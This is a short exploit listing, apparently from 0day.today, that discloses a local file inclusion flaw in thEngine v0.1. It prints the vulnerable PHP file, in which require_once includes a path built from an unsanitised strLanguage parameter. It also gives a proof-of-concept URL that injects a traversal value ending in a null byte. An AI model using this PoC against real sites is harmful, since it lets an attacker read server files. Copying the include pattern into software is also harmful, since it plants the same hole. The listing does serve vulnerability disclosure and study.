thEngine v0.1 LFI Vulnerability

===============================
thEngine v0.1 LFI Vulnerability
===============================

############################################################################
##                                    ##           
##      Download Script: http://sourceforge.net/projects/thengine/files/  ##
##                                    ##
##      Code [test.class.php]:                        ##
##                                    ##
############################################################################
            |||         |||
            |||         |||
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xx  <?php                                        xx
xx      /**                                     xx
xx      * thEngine                                  xx
xx      * Copyright (c) 2006 Thion, http://thion.jogger.pl              xx
xx      * This program is free software; you can redistribute it and/or modify  xx
xx      * it under the terms of the GNU Public General Public License as        xx
xx      * published by the Free Software Foundation; either version 2.1 of the  xx
xx      * License, or (at your option) any later version.                       xx
xx      */                                      xx
xx                                              xx
xx      require_once('languages/'.$strLanguage.'/test.class.php');          xx
xx      class test                                  xx
xx      {                                       xx
xx          public function __construct()                       xx
xx          {                                   xx
xx              global $opt;                            xx
xx              $opt -> assign('message', TEST);                 xx
xx             $opt -> display('test.tpl');                      xx
xx          }                                   xx
xx      }                                       xx
xx  ?>                                       xx
xx                                          xx
xx       PoC: [thEngine_path]/modules/test/test.class.php?strLanguage=[LFI%00]      xx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx



#  0day.today [2018-04-10]  #